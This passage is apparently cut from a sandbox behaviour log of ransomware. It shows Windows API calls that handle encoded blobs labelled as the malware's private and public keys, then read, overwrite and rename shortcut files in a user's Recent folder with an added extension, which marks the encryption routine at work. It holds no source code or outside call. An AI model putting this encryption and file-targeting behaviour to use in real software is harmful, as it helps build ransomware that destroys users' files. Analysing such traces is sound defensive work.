8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.575] GetCurrentThreadId () returned 0xab4 [0148.575] GetCurrentThreadId () returned 0xab4 [0148.575] GetCurrentThreadId () returned 0xab4 [0148.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.576] GetCurrentThreadId () returned 0xab4 [0148.576] GetCurrentThreadId () returned 0xab4 [0148.576] GetCurrentThreadId () returned 0xab4 [0148.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.576] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.577] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.577] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5a1 [0148.577] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.577] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x5a1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x5a1, lpOverlapped=0x0) returned 1 [0148.578] CloseHandle (hObject=0x280) returned 1 [0148.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.579] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x5a1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x5a1, lpOverlapped=0x0) returned 1 [0148.580] CloseHandle (hObject=0x280) returned 1 [0148.583] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk.mz173801")) returned 1 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] GetCurrentThreadId () returned 0xab4 [0148.583] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e51a06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5497fcff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5497fcff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="LFHpZh3EGDvVG.lnk", cAlternateFileName="LFHPZH~1.LNK")) returned 1 [0148.584] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.584] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e51a06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5497fcff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5497fcff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x481)) returned 1 [0148.584] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lfhpzh3egdvvg.lnk")) returned 0x20 [0148.584] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LFHpZh3EGDvVG.lnk", dwFileAttributes=0x80) returned 1 [0148.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, 